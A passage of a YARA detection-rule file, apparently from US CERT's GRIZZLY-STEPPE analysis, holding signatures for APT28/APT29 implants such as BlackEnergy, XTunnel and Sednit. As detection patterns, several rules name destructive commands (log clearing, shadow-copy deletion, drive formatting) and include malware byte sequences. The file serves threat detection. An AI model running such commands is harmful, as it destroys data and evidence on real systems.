         DC 52 51 53 68 04 01 00 00 FF 57 20 59 5A 66 C7 04 03 5C 20 56 57 8D
         3C 03 8B F2 F3 A4 C6 07 00 5F 5E 33 C0 50 68 80 00 00 00 6A 02 50 50
         68 00 00 00 40 53 FF 57 14 53 8B 4F 4C 8B D6 33 DB 30 1A 42 43 3B D9
         7C F8 5B 83 EC 04 8B D4 50 6A 00 52 FF 77 4C 8B D6 52 50 FF 57 24 FF
         57 18}
		$f2 = {5E 83 EC 1C 8B 45 08 8B 4D 08 03 48 3C 89 4D E4 89 75 EC 8B 45 08
         2B 45 10 89 45 E8 33 C0 89 45 F4 8B 55 0C 3B 55 F4 0F 86 98 00 00 00
         8B 45 EC 8B 4D F4 03 48 04 89 4D F4 8B 55 EC 8B 42 04 83 E8 08 D1 E8
         89 45 F8 8B 4D EC 83 C1 08 89 4D FC}
		$f3 = {5F 8B DF 83 C3 60 2B 5F 54 89 5C 24 20 8B 44 24 24 25 00 00 FF FF
         66 8B 18 66 81 FB 4D 5A 74 07 2D 00 00 01 00 EB EF 8B 48 3C 03 C8 66
         8B 19 66 81 FB 50 45 75 E0 8B E8 8B F7 83 EC 60 8B FC B9 60 00 00 00
         F3 A4 83 EF 60 6A 0D 59 E8 88 00 00 00 E2 F9 68 6C 33 32 00 68 73 68
         65 6C 54 FF 57}
		$a1 = {83 EC 04 60 E9 1E 01 00 00}

	condition:
		$a1 at pe.entry_point or any of ( $f* )
}

rule IMPLANT_4_v9
{
	meta:
		description = "BlackEnergy / Voodoo Bear Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "a404212a-d9ef-54c1-bbf8-a213ec094f18"

	strings:
		$a = "wevtutil clear-log" ascii wide nocase
		$b = "vssadmin delete shadows" ascii wide nocase
		$c = "AGlobal\\23d1a259-88fa-41df-935f-cae523bab8e6" ascii wide nocase
		$d = "Global\\07fd3ab3-0724-4cfd-8cc2-60c0e450bb9a" ascii wide nocase
		$openPhysicalDiskOverwriteWithZeros = { 57 55 33 C9 51 8B C3 99 57 52
         50 E8 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 83 C4 10 84 C0 75 21 33 C0 89
         44 24 10 89 44 24 14 6A 01 8B C7 99 8D 4C 24 14 51 52 50 56 FF 15 ??
         ?? ?? ?? 85 C0 74 0B 83 C3 01 81 FB 00 01 00 00 7C B6 }
		$f = {83 c4 0c 53 53 6a 03 53 6a 03 68 00 00 00 c0}

	condition:
		($a and $b ) or $c or $d or ( $openPhysicalDiskOverwriteWithZeros and $f )
}

rule IMPLANT_4_v10
{
	meta:
		description = "BlackEnergy / Voodoo Bear Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "75c266ca-a27f-5ffe-a438-c35bbacfa70c"

	strings:
		$ = {A1B05C72}
		$ = {EB3D0384}
		$ = {6F45594E}
		$ = {71815A4E}
		$ = {D5B03E72}
		$ = {6B43594E}
		$ = {F572993D}
		$ = {665D9DC0}
		$ = {0BE7A75A}
		$ = {F37443C5}
		$ = {A2A474BB}
		$ = {97DEEC67}
		$ = {7E0CB078}
		$ = {9C9678BF}
		$ = {4A37A149}
		$ = {8667416B}
		$ = {0A375BA4}
		$ = {DC505A8D}
		$ = {02F1F808}
		$ = {2C819712}

	condition:
		uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 and 15 of them
}

rule IMPLANT_4_v11
{
	meta:
		description = "BlackEnergy / Voodoo Bear Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "e5fb0843-20f7-56a0-8eea-0db7cef7f610"

	strings:
		$ = "/c format %c: /Y /X /FS:NTFS"
		$ = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" wide
		$ = ".dll.exe.xml.ttf.nfo.fon.ini.cfg.boot.jar" wide
		$ = ".crt.bin.exe.db.dbf.pdf.djvu.doc.docx.xls.xlsx.jar.ppt.pptx.tib.vhd.iso.lib.mdb.accdb.sql.mdf.xml.rtf.ini.cf g.boot.txt.rar.msi.zip.jpg.bmp.jpeg.tiff" wide
		$tempfilename = "%ls_%ls_%ls_%d.~tmp" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and 2 of them
}

rule IMPLANT_4_v13
{
	meta:
		description = "BlackEnergy / Voodoo Bear Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "e96a7d9f-1840-542f-9a9b-95e74377f234"

	strings:
		$XMLDOM1 = {81 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60}
		$XMLDOM2 = {90 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60}
		$XMLPARSE = {8B 06 [0-2] 8D 55 ?C 52 FF 75 08 [0-2] 50 FF 91 04 01 00 00
         66 83 7D ?C FF 75 3? 8B 06 [0-2] 8D 55 F? 52 50 [0-2] FF 51 30 85 C0
         78 2?}
		$EXP1 = "DispatchCommand"
		$EXP2 = "DispatchEvent"
		$BDATA = {85 C0 74 1? 0F B7 4? 06 83 C? 28 [0-6] 72 ?? 33 C0 5F 5E 5B 5D
         C2 08 00 8B 4? 0? 8B 4? 0? 89 01 8B 4? 0C 03 [0-2] EB E?}

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_5_v1
{
	meta:
		description = "XTunnel Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "dee08753-3465-5bf2-acd5-aa6cc80aba3c"

	strings:
		$hexstr = {2D 00 53 00 69 00 00 00 2D 00 53 00 70 00 00 00 2D 00 55 00
         70 00 00 00 2D 00 50 00 69 00 00 00 2D 00 50 00 70 00 00 00}
		$UDPMSG1 = "error 2005 recv from server UDP - %d\x0a"
		$TPSMSG1 = "error 2004 send to TPS - %d\x0a"
		$TPSMSG2 = "error 2003 recv from TPS - %d\x0a"
		$UDPMSG2 = "error 2002 send to server UDP - %d\x0a"

	condition:
		any of them
}

rule IMPLANT_5_v2
{
	meta:
		description = "XTunnel Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "40f60306-41ee-5a18-84e2-cf479a6bc849"

	strings:
		$key0 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 }
		$key1 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 }
		$key2 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 }
		$key3 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 }
		$key4 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 }
		$key5 = { 34F1AE17017AF16021ADA5CE3F77675BBC6E7DEC6478D6078A0B22E5FDFF3B31 }
		$key6 = { F0EA48F164395186E6F754256EBB812A2AFE168E77ED9501F8B8E6F5B72126A7 }
		$key7 = { 0B6E9970A8EAF68EE14AB45005357A2F3391BEAA7E53AB760B916BC2B3916ABE }
		$key8 = { FF032EA7ED2436CF6EEA1F741F99A3522A61FDA8B5A81EC03A8983ED1AEDAB1A }
		$key9 = { F0DAC1DDFEF7AC6DE1CBE1006584538FE650389BF8565B32E0DE1FFACBCB14BB }
		$key10 = { A5D699A3CD4510AF11F1AF767602055C523DF74B94527D74319D6EFC6883B80D }
		$key11 = { 5951B02696C1D5A7B2851D28872384DA607B25F4CEA268FF3FD7FBA75AB3B4B3 }
		$key12 = { 0465D99B26AF42D8346001BB838595E301BAD8CF5D40CE9C17C944717DF82481 }
		$key13 = { 5DFE1C83AD5F5CE1BF5D9C42E23225E3ECFDB2493E80E6554A2AC7C722EB4880 }
		$key14 = { E9650396C45F7783BC14C59F46EA8232E8357C26B5627BFF8C42C6AE2E0F2E17 }
		$key15 = { 7432AE389125BB4E3980ED7F6A6FB252A42E785A90F4591C3620CA642FF97CA3 }
		$key16 = { 2B2ADBBC4F960A8916F7088067BAD30BE84B65783FBF9476DF5FDA0E5856B183 }
		$key17 = { 808C3FD0224A59384161B8A81C8BB404D7197D16D8118CB77067C5C8BD764B3E }
		$key18 = { 028B0E24D5675C16C815BFE4A073E9778C668E65771A1CE881E2B03F58FC7D5B }
		$key19 = { 878B7F5CF2DC72BAF1319F91A4880931EE979665B1B24D3394FE72EDFAEF4881 }
		$key20 = { 7AC7DD6CA34F269481C526254D2F563BC6ECA1779FEEAA33EC1C20E60B686785 }
		$key21 = { 3044F1D394186815DD8E3A2BBD9166837D07FA1CF6A550E2C170C9CDD9305209 }
		$key22 = { 7544DC095C441E39D258648FE9CB1267D20D83C8B2D3AB734474401DA4932619 }
		$key23 = { D702223347406C1999D1A9829CBBE96EC86D377A40E2EE84562EA1FAC1C71498 }
		$key24 = { CA36CB1177382A1009D392A58F7C1357E94AD2292CC0AE82EE4F7DB0179148E1 }
		$key25 = { C714F23E4C1C4E55F0E1FA7F5D0DD64658A86F84681D07576D840784154F65DC }
		$key26 = { 63571BAF736904634AFEE2A70CB9ED64615DE8CA7AEF21E773286B8877D065DB }
		$key27 = { 27808A9BE98FFE348DE1DB999AC9FDFB26E6C5A0D5E688490EF3D186C43661EB }
		$key28 = { B6EB86A07A85D40866AFA100789FFB9E85C13F5AA7C7A3B6BA753C7EAB9D6A62 }
		$key29 = { 88F0020375D60BDB85ACDBFE4BD79CD098DB2B3FA2CEF55D4331DBEFCE455157 }
		$key30 = { 36535AAB296587AE1162AC5D39492DD1245811C72706246A38FF590645AA5D7B }
		$key31 = { FDB726261CADD52E10818B49CAB81BEF112CB63832DAA26AD9FC711EA6CE99A4 }
		$key32 = { 86C0CAA26D9FD07D215BC7EB14E2DA250E905D406AFFAB44FB1C62A2EAFC4670 }
		$key33 = { BC101329B0E3A7D13F6EBC535097785E27D59E92D449D6D06538725034B8C0F0 }
		$key34 = { C8D31A78B7C149F62F06497F9DC1DDC4967B566AC52C3A2A65AC7A99643B8A2D }
		$key35 = { 0EA4A5C565EFBB94F5041392C5F0565B6BADC630D9005B3EADD5D81110623E1F }
		$key36 = { 06E4E46BD3A0FFC8A4125A6A02B0C56D5D8B9E378CF97539CE4D4ADFAF89FEB5 }
		$key37 = { 6DE22040821F0827316291331256A170E23FA76E381CA7066AF1E5197AE3CFE7 }
		$key38 = { C6EF27480F2F6F40910074A45715143954BBA78CD74E92413F785BBA5B2AA121 }
		$key39 = { 19C96A28F8D9698ADADD2E31F2426A46FD11D2D45F64169EDC7158389BFA59B4 }
		$key40 = { C3C3DDBB9D4645772373A815B5125BB2232D8782919D206E0E79A6A973FF5D36 }
		$key41 = { C33AF1608037D7A3AA7FB860911312B4409936D236564044CFE6ED42E54B78A8 }
		$key42 = { 856A0806A1DFA94B5E62ABEF75BEA3B657D9888E30C8D2FFAEC042930BBA3C90 }
		$key43 = { 244496C524401182A2BC72177A15CDD2EF55601F1D321ECBF2605FFD1B9B8E3F }
		$key44 = { DF24050364168606D2F81E4D0DEB1FFC417F1B5EB13A2AA49A89A1B5242FF503 }
		$key45 = { 54FA07B8108DBFE285DD2F92C84E8F09CDAA687FE492237F1BC4343FF4294248 }
		$key46 = { 23490033D6BF165B9C45EE65947D6E6127D6E00C68038B83C8BFC2BCE905040C }
		$key47 = { 4E044025C45680609B6EC52FEB3491130A711F7375AAF63D69B9F952BEFD5F0C }
		$key48 = { 019F31C5F5B2269020EBC00C1F511F2AC23E9D37E89374514C6DA40A6A03176C }
		$key49 = { A2483197FA57271B43E7276238468CFB8429326CBDA7BD091461147F642BEB06 }
		$key50 = { 731C9D6E74C589B7ACB019E5F6A6E07ACF12E68CB9A396CE05AA4D69D5387048 }
		$key51 = { 540DB6C8D23F7F7FEF9964E53F445F0E56459B10E931DEEEDB2B57B063C7F8B7 }
		$key52 = { D5AF80A7EEFF26DE988AC3D7CE23E62568813551B2133F8D3E973DA15E355833 }
		$key53 = { E4D8DBD3D801B1708C74485A972E7F00AFB45161C791EE05282BA68660FFBA45 }
		$key54 = { D79518AF96C920223D687DD596FCD545B126A678B7947EDFBF24661F232064FB }
		$key55 = { B57CAA4B45CA6E8332EB58C8E72D0D9853B3110B478FEA06B35026D7708AD225 }
		$key56 = { 077C714C47DFCF79CA2742B1544F4AA8035BB34AEA9D519DEE77745E01468408 }
		$key57 = { C3F5550AD424839E4CC54FA015994818F4FB62DE99B37C872AF0E52C376934FA }
		$key58 = { 5E890432AE87D0FA4D209A62B9E37AAEDEDC8C779008FEBAF9E4E6304D1B2AAC }
		$key59 = { A42EDE52B5AF4C02CFE76488CADE36A8BBC3204BCB1E05C402ECF450071EFCAB }
		$key60 = { 4CDAFE02894A04583169E1FB4717A402DAC44DA6E2536AE53F5F35467D31F1CA }
		$key61 = { 0BEFCC953AD0ED6B39CE6781E60B83C0CFD166B124D1966330CBA9ADFC9A7708 }
		$key62 = { 8A439DC4148A2F4D5996CE3FA152FF702366224737B8AA6784531480ED8C8877 }
		$key63 = { CF253BE3B06B310901FF48A351471374AD35BBE4EE654B72B860F2A6EC7B1DBB }
		$key64 = { A0599F50C4D059C5CFA16821E97C9596B1517B9FB6C6116F260415127F32CE1F }
		$key65 = { 8B6D704F3DC9150C6B7D2D54F9C3EAAB14654ACA2C5C3952604E65DF8133FE0C }
		$key66 = { A06E5CDD3871E9A3EE17F7E8DAE193EE47DDB87339F2C599402A78C15D77CEFD }
		$key67 = { E52ADA1D9BC4C089DBB771B59904A3E0E25B531B4D18B58E432D4FA0A41D9E8A }
		$key68 = { 4778A7E23C686C171FDDCCB8E26F98C4CBEBDF180494A647C2F6E7661385F05B }
		$key69 = { FE983D3A00A9521F871ED8698E702D595C0C7160A118A7630E8EC92114BA7C12 }
		$key70 = { 52BA4C52639E71EABD49534BBA80A4168D15762E2D1D913BAB5A5DBF14D9D166 }
		$key71 = { 931EB8F7BC2AE1797335C42DB56843427EB970ABD601E7825C4441701D13D7B1 }
		$key72 = { 318FA8EDB989672DBE2B5A74949EB6125727BD2E28A4B084E8F1F50604CCB735 }
		$key73 = { 5B5F2315E88A42A7B59C1B493AD15B92F819C021BD70A5A6619AAC6666639BC2 }
		$key74 = { C2BED7AA481951FEB56C47F03EA38236BC425779B2FD1F1397CB79FE2E15C0F0 }
		$key75 = { D3979B1CB0EC1A655961559704D7CDC019253ACB2259DFB92558B7536D774441 }
		$key76 = { 0EDF5DBECB772424D879BBDD51899D6AAED736D0311589566D41A9DBB8ED1CC7 }
		$key77 = { CC798598F0A9BCC82378A5740143DEAF1A147F4B2908A197494B7202388EC905 }
		$key78 = { 074E9DF7F859BF1BD1658FD2A86D81C282000EAB09AF4252FAB45433421D3849 }
		$key79 = { 6CD540642E007F00650ED20D7B54CFFD54DDA95D8DEBB087A004BAE222F22C8E }
		$key80 = { C76CF2F66C71F6D17FC8DEFA1CAEF8718BA1CE188C7EA02C835A0FA54D3B3314 }
		$key81 = { A7250A149600E515C9C40FE5720756FDA8251635A3B661261070CB5DABFE7253 }
		$key82 = { 237C67B97D4CCE4610DE2B82E582808EA796C34A4C24715C953CBA403B2C935E }
		$key83 = { A8FA182547E66B57C497DAAA195A38C0F0FB0A3C1F7B98B4B852F5F37E885127 }
		$key84 = { 83694CCA50B821144FFBBE6855F62845F1328111AE1AC5666CBA59EB43AA12C6 }
		$key85 = { 145E906416B17865AD37CD022DF5481F28C930D6E3F53C50B0953BF33F4DB953 }
		$key86 = { AB49B7C2FA3027A767F5AA94EAF2B312BBE3E89FD924EF89B92A7CF977354C22 }
		$key87 = { 7E04E478340C209B01CA2FEBBCE3FE77C6E6169F0B0528C42FA4BDA6D90AC957 }
		$key88 = { 0EADD042B9F0DDBABA0CA676EFA4EDB68A045595097E5A392217DFFC21A8532F }
		$key89 = { 5623710F134ECACD5B70434A1431009E3556343ED48E77F6A557F2C7FF46F655 }
		$key90 = { 6968657DB62F4A119F8E5CB3BF5C51F4B285328613AA7DB9016F8000B576561F }
		$key91 = { DEBB9C95EAE6A68974023C335F8D2711135A98260415DF05845F053AD65B59B4 }
		$key92 = { 16F54900DBF08950F2C5835153AB636605FB8C09106C0E94CB13CEA16F275685 }
		$key93 = { 1C9F86F88F0F4882D5CBD32876368E7B311A84418692D652A6A4F315CC499AE8 }
		$key94 = { E920E0783028FA05F4CE2D6A04BBE636D56A775CFD4DAEA3F2A1B8BEEB52A6D4 }
		$key95 = { 73874CA3AF47A8A315D50E1990F44F655EC7C15B146FFE0611B6C4FC096BD07C }
		$key96 = { F21C1FA163C745789C53922C47E191A5A85301BDC2FFC3D3B688CFBFF39F3BE5 }
		$key97 = { BC5A861F21CB98BD1E2AE9650B7A0BB4CD0C71900B3463C1BC3380AFD2BB948E }
		$key98 = { 151BAE36E646F30570DC6A7B57752F2481A0B48DD5184E914BCF411D8AD5ACA0 }
		$key99 = { F05AD6D7A0CADC10A6468BFDBCBB223D5BD6CA30EE19C239E8035772D80312C9 }
		$key100 = { 5DE9A0FDB37C0D59C298577E5379BCAF4F86DF3E9FA17787A4CEFA7DD10C462E }
		$key101 = { F5E62BA862380224D159A324D25FD321E5B35F8554D70CF9A506767713BCA508 }
		$key102 = { A2D1B10409B328DA0CCBFFDE2AD2FF10855F95DA36A1D3DBA84952BB05F8C3A7 }
		$key103 = { C974ABD227D3AD339FAC11C97E11D904706EDEA610B181B8FAD473FFCC36A695 }
		$key104 = { AB5167D2241406C3C0178D3F28664398D5213EE5D2C09DCC9410CB604671F5F1 }
		$key105 = { C25CC4E671CAAA31E137700A9DB3A272D4E157A6A1F47235043D954BAE8A3C70 }
		$key106 = { E6005757CA0189AC38F9B6D5AD584881399F28DA949A0F98D8A4E3862E20F715 }
		$key107 = { 204E6CEB4FF59787EF4D5C9CA5A41DDF4445B9D8E0C970B86D543E9C7435B194 }
		$key108 = { 831D7FD21316590263B69E095ABBE89E01A176E16AE799D83BD774AF0D254390 }
		$key109 = { 42C36355D9BC573D72F546CDB12E6BB2CFE2933AC92C12040386B310ABF6A1ED }
		$key110 = { B9044393C09AD03390160041446BF3134D864D16B25F1AB5E5CDC690C4677E7D }
		$key111 = { 6BC1102B5BE05EEBF65E2C3ACA1F4E17A59B2E57FB480DE016D371DA3AEF57A5 }
		$key112 = { B068D00B482FF73F8D23795743C76FE8639D405EE54D3EFB20AFD55A9E2DFF4E }
		$key113 = { 95CF5ADDFE511C8C7496E3B75D52A0C0EFE01ED52D5DD04D0CA6A7ABD3A6F968 }
		$key114 = { 75534574A4620019F8E3D055367016255034FA7D91CBCA9E717149441742AC8D }
		$key115 = { 96F1013A5301534BE424A11A94B740E5EB3A627D052D1B769E64BAB6A666433C }
		$key116 = { 584477AB45CAF729EE9844834F84683ABECAB7C4F7D23A9636F54CDD5B8F19B3 }
		$key117 = { D3905F185B564149EE85CC3D093477C8FF2F8CF601C68C38BBD81517672ECA3A }
		$key118 = { BF29521A7F94636D1930AA236422EB6351775A523DE68AF9BF9F1026CEDA618D }
		$key119 = { 04B3A783470AF1613A9B849FBD6F020EE65C612343EB1C028B2C28590789E60B }
		$key120 = { 3D8D8E84977FE5D21B6971D8D873E7BED048E21333FE15BE2B3D1732C7FD3D04 }
		$key121 = { 8ACB88224B6EF466D7653EB0D8256EA86D50BBA14FD05F7A0E77ACD574E9D9FF }
		$key122 = { B46121FFCF1565A77AA45752C9C5FB3716B6D8658737DF95AE8B6A2374432228 }
		$key123 = { A4432874588D1BD2317224FB371F324DD60AB25D4191F2F01C5C13909F35B943 }
		$key124 = { 78E1B7D06ED2A2A044C69B7CE6CDC9BCD77C19180D0B082A671BBA06507349C8 }
		$key125 = { 540198C3D33A631801FE94E7CB5DA3A2D9BCBAE7C7C3112EDECB342F3F7DF793 }
		$key126 = { 7E905652CAB96ACBB7FEB2825B55243511DF1CD8A22D0680F83AAF37B8A7CB36 }
		$key127 = { 37218801DBF2CD92F07F154CD53981E6189DBFBACAC53BC200EAFAB891C5EEC8 }

	condition:
		any of them
}

rule IMPLANT_5_v3
{
	meta:
		description = "XTunnel Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "0763e314-85d0-5c16-b766-36298176e0ff"

	strings:
		$BYTES1 = { 0F AF C0 6? C0 07 00 00 00 2D 01 00 00 00 0F AF ?? 39 ?8 }
		$BYTES2 = { 0F AF C0 6? C0 07 48 0F AF ?? 39 ?8 }

	condition:
		any of them
}

rule IMPLANT_5_v4
{
	meta:
		description = "XTunnel Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "db6df7ea-f119-5e9a-bcea-c65580418042"

	strings:
		$FBKEY1 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 }
		$FBKEY2 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 }
		$FBKEY3 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 }
		$FBKEY4 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 }
		$FBKEY5 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 }

	condition:
		all of them
}

rule IMPLANT_6_v1
{
	meta:
		description = "Sednit / EVILTOSS Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "0554ec8e-f45d-5afc-8874-dc8adfac5cdf"

	strings:
		$STR1 = "dll.dll" wide ascii
		$STR2 = "Init1" wide ascii
		$STR3 = "netui.dll" wide ascii

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_6_v2
{
	meta:
		description = "Sednit / EVILTOSS Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "59bfbef2-ff0e-59df-9d08-15001cec8ecf"

	strings:
		$obf_func = { 8B 45 F8 6A 07 03 C7 33 D2 89 45 E8 8D 47 01 5B 02 4D 0F F7 F3 6A 07 8A 04 32 33 D2 F6 E9 8A C8 8B C7 F7 F3 8A 44 3E FE 02 45 FC 02 0C 32 B2 03 F6 EA 8A D8 8D 47 FF 33 D2 5F F7 F7 02 5D 14 8B 45 E8 8B 7D F4 C0 E3 06 02 1C 32 32 CB 30 08 8B 4D 14 41 47 83 FF 09 89 4D 14 89 7D F4 72 A1 }

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_6_v3
{
	meta:
		description = "Sednit / EVILTOSS Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "db090bc5-a90f-5b66-8fcb-29b423dddbf7"

	strings:
		$deob_func = { 8D 46 01 02 D1 83 E0 07 8A 04 38 F6 EA 8B D6 83 E2 07 0A
         04 3A 33 D2 8A 54 37 FE 03 D3 03 D1 D3 EA 32 C2 8D 56 FF 83 E2 07 8A
         1C 3A 8A 14 2E 32 C3 32 D0 41 88 14 2E 46 83 FE 0A 7C ?? }

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_6_v4
{
	meta:
		description = "Sednit / EVILTOSS Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "27118ec8-3713-5670-88d2-3ac57c155c0d"

	strings:
		$ASM = {53 5? 5? [6-15] ff d? 8b ?? b? a0 86 01 00 [7-13] ff d? ?b
         [6-10] c0 [0-1] c3}

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_6_v5
{
	meta:
		description = "Sednit / EVILTOSS Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "d035eaff-8c2a-53a2-b629-6448b2bcc9f6"

	strings:
		$STR1 = { 83 EC 18 8B 4C 24 24 B8 AB AA AA AA F7 E1 8B 44 24 20 53 55 8B
         EA 8D 14 08 B8 AB AA AA AA 89 54 24 1C F7 E2 56 8B F2 C1 ED 02 8B DD
         57 8B 7C 24 38 89 6C 24 1C C1 EE 02 3B DE 89 5C 24 18 89 74 24 20 0F
         83 CF 00 00 00 8D 14 5B 8D 44 12 FE 89 44 24 10 3B DD 0F 85 CF 00 00
         00 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA 83 F9 06 89 4C 24 38 0F 83
         86 00 00 00 8A C3 B2 06 F6 EA 8B 54 24 10 88 44 24 30 8B 44 24 2C 8D
         71 02 03 D0 89 54 24 14 8B 54 24 10 33 C0 8A 44 37 FE 03 D6 8B D8 8D
         46 FF 0F AF DA 33 D2 BD 06 00 00 00 F7 F5 C1 EB 07 8A 04 3A 33 D2 32
         D8 8D 46 01 F7 F5 8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5
         8A 04 3A 22 C8 8B 44 24 14 02 D9 8A 0C 30 32 CB 88 0C 30 8B 4C 24 38
         41 46 83 FE 08 89 4C 24 38 72 A1 8B 5C 24 18 8B 6C 24 1C 8B 74 24 20
         8B 4C 24 10 43 83 C1 06 3B DE 89 4C 24 10 8B 4C 24 34 89 5C 24 18 0F
         82 3C FF FF FF 3B DD 75 1A 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA EB
         0D 33 C9 89 4C 24 38 E9 40 FF FF FF 33 C9 8B 44 24 24 33 D2 BE 06 00
         00 00 89 4C 24 38 F7 F6 3B CA 89 54 24 24 0F 83 95 00 00 00 8A C3 B2
         06 F6 EA 8D 1C 5B 88 44 24 30 8B 44 24 2C 8D 71 02 D1 E3 89 5C 24 34
         8D 54 03 FE 89 54 24 14 EB 04 8B 5C 24 34 33 C0 BD 06 00 00 00 8A 44
         3E FE 8B D0 8D 44 1E FE 0F AF D0 C1 EA 07 89 54 24 2C 8D 46 FF 33 D2
         BB 06 00 00 00 F7 F3 8B 5C 24 2C 8A 04 3A 33 D2 32 D8 8D 46 01 F7 F5
         8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5 8A 04 3A 22 C8 8B
         44 24 14 02 D9 8A 0C 06 32 CB 88 0C 06 8B 4C 24 38 8B 44 24 24 41 46
         3B C8 89 4C 24 38 72 8F 5F 5E 5D 5B 83 C4 18 C2 10 00 }

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_6_v6
{
	meta:
		description = "Sednit / EVILTOSS Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "89cc3764-d60c-5cbd-af32-a90d8b3400d7"

	strings:
		$Init1_fun = {68 10 27 00 00 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 6A FF 50
         FF 15 ?? ?? ?? ?? 33 C0 C3}

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_7_v1
{
	meta:
		description = "Implant 7 by APT29"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "ce83c157-af03-55cb-a2be-0b6543fedb5b"

